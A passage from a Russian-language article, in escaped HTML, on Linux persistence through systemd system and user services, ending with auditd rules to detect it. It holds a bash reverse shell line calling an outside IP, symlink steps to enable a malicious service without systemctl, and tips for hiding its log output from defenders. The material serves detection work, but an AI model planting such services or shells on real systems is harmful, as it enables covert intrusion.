class=\"bash\">systemctl enable bad<\/code><\/pre>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0430\u0448 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>netdns.service<\/code>, \u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>systemctl enable netdns<\/code>. \u042d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0430\u0439\u0434\u0451\u0442 \u0444\u0430\u0439\u043b <code>netdns.service<\/code> \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043f\u0443\u0442\u0435\u0439 unit-\u0444\u0430\u0439\u043b\u043e\u0432, \u0440\u0430\u0441\u043f\u0430\u0440\u0441\u0438\u0442 \u0435\u0433\u043e \u0438 \u0441\u043e\u0437\u0434\u0430\u0441\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0430\u0440\u0433\u0435\u0442\u0430, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 WantedBy.<\/p>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432 \u043d\u0430\u0448\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 <code>WantedBy=multi-user.target<\/code>, \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0431\u0443\u0434\u0435\u0442 <code>\/etc\/systemd\/system\/multi-user.target.wants<\/code>, \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0432\u0440\u0443\u0447\u043d\u0443\u044e.<\/p>\n<pre><code class=\"bash\">ln -s \/etc\/systemd\/system\/bad.service \/etc\/systemd\/system\/multi- user.target.wants\/bad.service<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0431\u0443\u0434\u0435\u0442 \u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c <code>bad.service<\/code> \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043c\u0430\u0448\u0438\u043d\u044b. \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<code>systemctl start bad <\/code> \u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0435 unit-\u0444\u0430\u0439\u043b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e systemd \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439:<code> systemctl daemon-reload<\/code> \u0412 \u044d\u0442\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0432 <strong>ExecStart<\/strong> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f <code>python3<\/code>, \u043d\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0435\u0451 \u043d\u0430 \u043b\u044e\u0431\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:  <code>bash -i &gt;&amp; \/dev\/tcp\/10.0.0.1\/4242 0&gt;&amp;1<\/code> \u0438\u0437 \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e cheat sheet [<a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md#bash-tcp\" rel=\"noopener noreferrer nofollow\">PayloadsAllTheThings Reverse Shell<\/a>], \u0438\u043b\u0438 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0443\u0442\u044c \u043a bash-\u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <code>\/tmp\/backdoor<\/code> \u0438\u043b\u0438 <code>\/opt\/backdoor<\/code>. <\/p>\n<p><strong>5.2.3 \u041e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c<\/strong><\/p>\n<p>\u0411\u0443\u0434\u044c\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043a \u0438\u043c\u0435\u043d\u0438 \u044e\u043d\u0438\u0442\u0430, \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0438 \u0432\u044b\u0432\u043e\u0434\u0443 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u0432 <code>syslog<\/code>, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0443\u0434\u0430 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 (<code>stdout<\/code>) \u0438 \u0432\u044b\u0432\u043e\u0434 \u043e\u0448\u0438\u0431\u043e\u043a (<code>stderr<\/code>).<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0443 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u043c\u0435\u043d\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0442\u043e \u0432 <code>syslog <\/code>\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u044f\u0432\u0438\u0442\u044c\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c:<\/p>\n<pre><code class=\"bash\">Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service. Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last): Jan 30 07:36:27 test-auditd python3[957]:   File \"&lt;string&gt;\", line 1, in &lt;module&gt; Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1\/FAILURE Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.<\/code><\/pre>\n<p>\u042d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0441\u0442\u043e\u0440\u043e\u0436\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u043e\u0432.<\/p>\n<p>\u041e\u0431\u0449\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 stdout \u0438 stderr \u2014 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0441\u0435\u043a\u0446\u0438\u044e <code>[Service]<\/code> unit-\u0444\u0430\u0439\u043b\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438:<\/p>\n<pre><code class=\"bash\">StandardOutput=null StandardError=null<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043c\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u043e\u0448\u0438\u0431\u043a\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u0438\u043c\u044f, \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u0443 \u043d\u0430\u0441 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c\u0441\u044f \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 \u044d\u0442\u043e\u0433\u043e:<\/p>\n<pre><code class=\"bash\">Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service. Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.<\/code><\/pre>\n<p><strong>5.2.4 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b Systemd<\/strong> <\/p>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u0435\u043d\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 systemd \u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041e\u043d\u0438 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043d\u0430\u0431\u043e\u0440\u0435 \u043f\u0443\u0442\u0435\u0439 unit-\u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b: <code> systemd-analyze unit-paths --user <\/code> \u0412\u044b\u0432\u043e\u0434 \u0434\u043b\u044f Debian:<\/p>\n<pre><code class=\"bash\">$ systemd-analyze unit-paths --user ... \/home\/user\/.config\/systemd\/user \/etc\/systemd\/user ... \/home\/user\/.local\/share\/systemd\/user \/usr\/local\/share\/systemd\/user \/usr\/share\/systemd\/user \/usr\/local\/lib\/systemd\/user \/usr\/lib\/systemd\/user ...<\/code><\/pre>\n<p> \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 bad_user.service \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>\/etc\/systemd\/user<\/code>.  <\/p>\n<pre><code class=\"bash\">[Unit] Description=Example of bad service  [Service] ExecStart=&lt;SOME COMMAND&gt;  [Install] WantedBy=default.target<\/code><\/pre>\n<p>\u041c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u00ab\u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u00bb, \u0441\u043e\u0437\u0434\u0430\u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>\/etc\/systemd\/user\/default.target.wants<\/code> \u0438 \u0441\u043e\u0437\u0434\u0430\u0432 \u0432 \u043d\u0451\u043c \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 <code>bad_user.service<\/code>.<\/p>\n<pre><code class=\"bash\">mkdir \/etc\/systemd\/user\/default.target.wants ln -s \/etc\/systemd\/user\/bad_user.service  \/etc\/systemd\/user\/default.target.wants\/bad_user.service<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 <code>bad_user.service<\/code>.<\/p>\n<p>\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430?<\/p>\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u043d\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u0446\u0435\u043b\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u043d\u0435 \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p>\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0435\u0440\u0435\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.<\/p>\n<pre><code class=\"bash\">[root] systemd (PID 1) \u251c\u2500 [root] sshd.service \u251c\u2500 [root] rsyslog.service \u251c\u2500 [root] bad.service \u251c\u2500 [root] cron.service \u2502 \u251c\u2500 [user0] systemd --user \u2502  \u251c\u2500 [user0] bad_user.service \u2502 \u251c\u2500 [user1] systemd --user    \u251c\u2500 [user1] bad_user.service<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 sshd, cron \u0438 bad.service \u2014 \u044d\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e (\u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root). \u0415\u0441\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432\u0445\u043e\u0434\u044f\u0442 user0 \u0438 user1, \u0442\u043e \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u043d\u0438\u0445 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 bad_user.service, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<p>\u041e\u0431\u044b\u0447\u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u044b \u043f\u0440\u0430\u0432\u0430 root, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u0421 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043b\u044e\u0431\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 unit-\u0444\u0430\u0439\u043b\u044b \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 <code>~\/.config\/systemd\/user<\/code>. \u042d\u0442\u043e \u0443\u0434\u043e\u0431\u043d\u043e \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f.<\/p>\n<p>\u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0430\u043a\u0438\u043c\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 <code>systemctl<\/code> \u0441 \u0444\u043b\u0430\u0433\u043e\u043c <code>--user<\/code>.<\/p>\n<ul>\n<li>\n<p><code>\/etc\/systemd\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/usr\/local\/lib\/systemd\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/usr\/lib\/systemd\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>&lt;USER HOME&gt;\/.config\/systemd\/user<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0415\u0441\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0445\u043e\u0447\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>systemctl<\/code> \u0438\u043b\u0438 <code>service<\/code>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041e\u0434\u043d\u0430\u043a\u043e, \u043a\u0430\u043a \u043c\u044b \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445, \u0441\u0435\u0440\u0432\u0438\u0441 \u043c\u043e\u0436\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u0441\u043e\u0437\u0434\u0430\u0432 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u043c\u0438\u043d\u0443\u044f \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u043c\u0430\u043d\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438.<\/p>\n<p><strong>5.4 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u0430\u0432\u0438\u043b auditd<\/strong> <\/p>\n<p>\u041d\u0430\u0448\u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f <a href=\"https:\/\/github.com\/Neo23x0\/auditd\/blob\/master\/audit.rules\" rel=\"noopener noreferrer nofollow\">Neo23x0\/auditd <\/a>\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430. <\/p>\n<pre><code>-w \/bin\/systemctl -p x -k systemd -w \/etc\/systemd\/ -p wa -k systemd<\/code><\/pre>\n<p>\u042d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0430\u043a \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/local\/service_persistence.rb\" rel=\"noopener noreferrer nofollow\">metasploit <\/a><code>service_persistence<\/code>, \u0433\u0434\u0435 \u0444\u0430\u0439\u043b \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 <code>\/lib\/systemd\/system\/#{service_filename}.service<\/code>.<\/p>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430:<\/p>\n<pre><code>-w \/usr\/lib\/systemd\/ -p wa -k systemd -w \/lib\/systemd\/ -p wa -k systemd  # Directories may not exist -w \/usr\/local\/lib\/systemd\/ -p wa -k systemd -w \/usr\/local\/share\/systemd\/user -p wa -k systemd_user -w \/usr\/share\/systemd\/user  -p wa -k systemd_user<\/code><\/pre>\n<p>\u0417\u0430\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043d\u0435\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u0430 auditd \u043a \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 